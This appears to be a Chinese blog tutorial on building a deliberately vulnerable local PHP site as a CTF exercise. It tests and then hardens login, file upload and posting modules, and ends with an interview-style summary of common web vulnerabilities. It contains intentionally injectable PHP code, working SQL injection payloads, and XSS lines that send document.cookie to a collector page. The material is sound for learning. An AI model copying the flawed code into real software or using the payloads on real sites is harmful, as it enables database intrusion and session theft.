本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

31 篇文章 0 订阅
26 篇文章 0 订阅

目录

注册登录模块

源码

测试

源码加固

文件上传模块

源码

测试

源码加固

发布动态模块

源码

测试

源码加固


本地搭建靶站进行测试,旨在提高自己的开发能力以及对漏洞的理解。

源码:利用PHP开发具有注册、登陆、文件上传、发布动态功能的网站_MUNG东隅的博客-CSDN博客

这个靶站其实可以说是我出的第一道web题吧,里面藏了三个flag,拼接为一个完整的flag

三个flag的位置分别在:数据库中、admin用户的cookie中、网站源码文件flag.php中,分别对应sql注入漏洞、xss漏洞、文件上传漏洞,我想出第四个flag部分,对应csrf漏洞。

注册登录模块

源码

login.php

<?PHP
error_reporting(0);
session_start();
if((isset($_COOKIE['isLogin']) && $_COOKIE['isLogin'] == 1)){
   session_start(); //创建session
   header("refresh:0;url=./welcome.php");//如果成功跳转至welcome.html页面
   exit;
}        
​
header("Content-type:text/html;charset=utf-8");
    include('./conn.php');//链接数据库
    $username = $_POST['username'];//post获得用户名表单值   #addslashes()函数
    $passowrd = $_POST['password'];//post获得用户密码单值
    $_SESSION['user'] = $_POST['username'];
​
    if ($username && $passowrd){//如果用户名和密码都不为空
             $sql = "select * from flag where username = ('$username') and password='$passowrd'";//检测数据库是否有对应的username和password的sql
             $result = mysqli_query($conn,$sql);//执行sql
             $rows=mysqli_num_rows($result);//返回一个数值
             if($rows){//0 false 1 true
                session_start(); //创建session
                if(!isset($_COOKIE["username"])){
                  if($username=='admin'){
                      setCookie("username",$username,time()+3600);//..设置一个用户名COOKIE
                      setCookie("isLogin",1,time()+3600);//..设置一个登录判断的标记isLogin
                      setCookie("flag3",'s_y0uR_F14g}',time()+3600);
                  }else{
                  setCookie("username",$username,time()+3600);//..设置一个用户名COOKIE
                  setCookie("isLogin",1,time()+3600);//..设置一个登录判断的标记isLogin
               }
                }
                   header("refresh:0;url=./welcome.php");//如果成功跳转至welcome.html页面
                   exit;
             }else{
               echo mysqli_error($conn);
                //echo "<script type='text/javascript'>alert('忘记密码的话去问问神奇海螺哦! =͟͟͞͞(꒪⌓꒪*)');location='index.html';</script>";
                
             }
    }
    
​
    mysqli_close($conn);//关闭数据库
?>
register.php

<?php
session_start();
header("Content-type:text/html;charset=utf-8");
include('./conn.php');//链接数据库
​
$username = addslashes($_POST['username']);
$password = $_POST['password'];
​
if($username&&$password)
{
    mysqli_query($conn,"insert into flag(id,username,password,pic) values(null,('$username'),'$password','./headpic/headpic.png');");
    echo "注册成功,即将跳转至登录页面";
    header("refresh:1.5;url=./index.html");
    exit;
}
​
mysqli_close($conn);
?>

测试

先进行正常的注册操作

 

登录,观察

登录进去以后显示用户名,存在默认头像,具有5个功能模块,存在cookie

 

首先我们看到登录页面

尝试万能密码登录,登陆成功

 

 

 

这个登录过程是没有回显的,我们来看其他的注入方式

报错注入:

是可行的

-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

 

-1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)-- -

 

解决方式:

  • 限制username长度

  • 关闭报错回显

    有回显的原因就是这句话:

    echo mysqli_error($conn);

    当在数据库中查不到相应的用户名密码的时候,会返回mysql的错误,返回这类错误在开发的时候或许是方便我们进行测试的,但是项目上线以后要尽量在这种模块不进行回显

    更改:

    直接返回错误信息,并进行跳转

    echo "<script type='text/javascript'>alert('忘记密码的话去问问神奇海螺哦! =͟͟͞͞(꒪⌓꒪*)');location='index.html';</script>";

  • 特殊符号转义

时间注入:

这个测试了很久都没发现时间注入,百思不得其解,最后把sql语句里面的username改成id,发现可行了

测试语句:

1') and if(1=2,1,sleep(5))-- -

后面发现username的话前面的1应该变成字符串

admin')and If(ascii(substr(database(),0,1))='s',sleep(5),1)-- -

解决方式:

  • ban掉sleep(),benchmark()等

堆叠注入:

这玩意只有在PDO预编译中才能出现,使用PDO执行SQL语句可以执行多条,但是如果使用不当就会让堆叠注入成为可能,比如仍然将参数拼接到查询语句

宽字节注入:

$conn->query('set names gbk');
1%df' or 1=1%23 
1%df' or 1=2%23

如果参数使用addslashes()进行转义,并且编码为GBK就会出现,测试了非常非常久,一直复现不出这个漏洞,不搞了,也就那么回事

 

另外记录一种登陆方式:

payload:

1' union select 1,2,3,4-- -
3

 

 

源码加固

  • PDO预编译

    由于SQL注入是因为参数改变了SQL语句的原有结构导致的,因此通过绑定参数可以达到参数是参数,结构是结构,从而避免结构被改变的情况。

    当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会

    需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。

pdo连接数据库

 
<?php
    header("Content-Type:text/html;charset=utf-8"); //设置页面编码格式
    $dbms='mysql';                                  //数据库类型
    $dbName='sqlinject';                           //数据库名称
    $user='root';                                   //数据库用户名
    $pwd='';                                        //数据库密码
    $host='localhost';                              //主机名称
    $dsn="$dbms:host=$host;dbname=$dbName";        //数据源名称
    try{                                             //捕获异常
        $pdo=new PDO($dsn,$user,$pwd);             //实例化对象
        echo "PDO连接MySQL成功";
    }catch(Exception $e){
        echo $e->getMessage()."<br>";
    }
?>

 

  • 编码不要设置为gbk

  • ban掉一些关键字

  • 不允许空格

  • addslashes()函数进行转义

  • md5()加密存储

if(strlen($username)>6){
    die();
}

文件上传模块

源码

upload.php

<?php
    session_start();
    header("Content-Type:text/html;charset=utf-8");
    include('./conn.php');
// 附件的存储位置、附件的名字
​
$path='./headpic/'.$_FILES['file']['name'];
echo '文件路径'.$path."<br>";
$username = $_SESSION['user'];
// 拼接成该文件在服务器上的名称
​
if($_FILES['file']['error']>0) {
    die("出错了!".$_FILES['file']['error']); 
}
if(move_uploaded_file($_FILES['file']['tmp_name'],$path)){
    //echo "<BR>"."Upload Success!";
    
    mysqli_query($conn,"update flag set pic='$path' where username='$username';");
    echo "恭喜您,上传成功!"."<br />3秒后将自动跳转到主页!";    
    header("refresh:3;url=./welcome.php");
}else{
    //echo "<BR>"."Upload Failed!".$_FILES['photo']['error'];  
    echo "对不起,上传头像失败了!";
    header("refresh:2;url=./welcome.php");
}
?>

测试

直接上传脚本文件,发现存在前端验证,这是很好绕过的,抓包改包就好了

 

返回了上传文件的路径

 

图片马?

00截断?

upload-labs pass12

 

 

 

源码加固

  • 设置上传文件目录权限不能给执行权限

     

  • 前端、后端验证(白名单)

  • 二次渲染

  • 对上传后的文件进行重命名

  • 不要暴露上传文件的位置

  • 禁用上传文件的执行权限

  • 黑白名单

  • 对上传的文件重命名,不易被猜测

  • 对文件内容进行二次渲染

  • 对上传的内容进行读取检查

<?php
    session_start();
    header("Content-Type:text/html;charset=utf-8");
    include('./conn.php');
// 附件的存储位置、附件的名字
​
$path='./headpic/'.$_FILES['file']['name'];
​
// $ext=explode('.',$_FILES['file']['name']);  //划分数组
// $ext=end($ext);
// $path='./headpic/'.time().'.'.$ext;
​
​
$username = $_SESSION['user'];
// 拼接成该文件在服务器上的名称
​
//deldot()函数
// function deldot($s){
//  for($i = strlen($s)-1;$i>0;$i--){
//      $c = substr($s,$i,1);
//      if($i == strlen($s)-1 and $c != '.'){
//          return $s;
//      }
​
//      if($c != '.'){
//          return substr($s,0,$i+1);
//      }
//  }
// }
​
if($_FILES['file']['error']>0) {
    die("出错了!".$_FILES['file']['error']); 
}
// if (($_FILES['file']['type'] == 'image/jpeg') || ($_FILES['file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
// {
//    $deny_ext = array(".png",".jpg",".gif",".jpeg");  //白名单
//    $file_name = trim($_FILES['file']['name']);       //收尾去空
//    $file_name = deldot($file_name);                  //删除文件名末尾的点
//    $file_ext = strrchr($file_name, '.');              //返回字符串中.后面的部分,也就是后缀名
//    $file_ext = strtolower($file_ext); //转换为小写
//    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
//    $file_ext = trim($file_ext); //收尾去空
​
// $path='./headpic/'.time().$file_ext;
echo '文件路径'.$path."<br>";
 //   if (in_array($file_ext, $deny_ext)) {
        if(move_uploaded_file($_FILES['file']['tmp_name'],$path)){       //上传成功会返回Ture
        //echo "<BR>"."Upload Success!";
    
              mysqli_query($conn,"update flag set pic='$path' where username='$username';");
              echo "恭喜您,上传成功!"."<br />3秒后将自动跳转到主页!";    
              header("refresh:3;url=./welcome.php");
            }else{
               //echo "<BR>"."Upload Failed!".$_FILES['photo']['error'];  
               echo "对不起,上传头像失败了!";
               header("refresh:2;url=./welcome.php");
                 }
  //  }else{
   //     echo "WAF!"."您上传的文件类型为".$file_ext."不允许上传"."<br />";    
     //   header("refresh:3;url=./headpic.html");
   // }
​
// }
?>
​
​

发布动态模块

源码

<?php 
session_start();
header("Content-type:text/html;charset=utf-8");
$username=$_SESSION['user'];
$dbtable=substr($username,0,8).'blog';
 
include('./blogconn.php');//链接数据库
include('./allblogconn.php');//链接数据库
​
$sql22="create table $dbtable(id int auto_increment primary key, blog varchar(300) not null);";
$result=mysqli_query($conn2,$sql22);
$conn2->query($sql22);
​
$blog=$_POST['blog'];
if(isset($blog)){
$blogsql="insert into $dbtable(id,blog) values(null,'$blog');";
​
​
​
                
$result=mysqli_query($conn2,$blogsql);
​
$allblogsql="insert into allblog(id,username,blog) values(null,'$username','$blog');";
$result10=mysqli_query($conn10,$allblogsql);
}
​
​
mysqli_close($conn);//关闭数据库
   ?>
​

测试

</div><script>document.location.href="../xss.php?1="+document.cookie</script>
</div><script type="text/javascript">location="127.0.0.1/xss.php?1="+document.cookie;</script>
</div><script>alert("xss")</script>
http://dongyu29.xyz/xss.html

xss.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<script type="text/javascript">location="https://www.bilibili.com/"</script>
</body>
</html>

源码加固

  • httponly

  • 对输入数据进行处理

  • 对输出数据进行转义

$blog=htmlspecialchars($blog);  

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
当面试官询问我SQL注入XSS文件上传以及RCE远程命令执行漏洞的相关知识时,你可以使用以下话术进行回答: 1. 面试官:请介绍一下SQL注入漏洞。 你:SQL注入是一种常见的web应用程序漏洞,攻击者通过在用户输入中插入恶意的SQL代码,成功绕过应用程序的输入验证,从而可以执行未经授权的数据库查询、修改或删除操作。为防止SQL注入攻击,我们需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来防止恶意SQL代码的执行。 2. 面试官:请解释一下XSS漏洞。 你:XSS(跨站脚本漏洞是一种允许攻击者将恶意脚本注入web应用程序的漏洞。当用户浏览包含恶意脚本的页面时,这些脚本会在用户的浏览器上执行,导致攻击者能够窃取用户的登录凭证、修改页面内容或进行其他恶意操作。为了防止XSS攻击,我们需要对用户输入进行合适的验证和过滤,并使用安全的编码方式来输出数据,如HTML转义或使用Content Security Policy(CSP)来限制脚本的执行。 3. 面试官:请讲解一下文件上传漏洞。 你:文件上传漏洞是指在web应用程序中存在未正确验证用户上传文件的安全问题。攻击者可以通过上传带有恶意代码的文件,从而在服务器上执行恶意操作,如执行任意命令、获取敏感数据或远程控制服务器。为了防止文件上传漏洞,我们需要对用户上传的文件进行严格的验证和过滤,限制可上传文件的类型和大小,并在保存、读取和执行文件时采取适当的安全措施。 4. 面试官:请简要说明一下RCE远程命令执行漏洞。 你:RCE(远程命令执行)漏洞是一种允许攻击者在受影响的系统上执行任意命令的漏洞。攻击者通过利用应用程序中的安全漏洞,成功注入恶意代码并执行系统命令。这种漏洞可能导致攻击者完全控制受影响的系统,进行敏感数据的窃取、服务器崩溃等恶意行为。为了防止RCE漏洞,我们需要保持应用程序和服务器的补丁更新,进行输入验证和过滤,以及使用安全编码和访问控制机制来限制恶意代码的执行。 请记住,以上是对每种漏洞的简要解释,你可以根据自己的了解和经验进行适当的展开和补充。在回答问题时,尽量用简明扼要的语言表达,并展示你对漏洞原理和相关防御措施的深入理解。祝你面试顺利!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值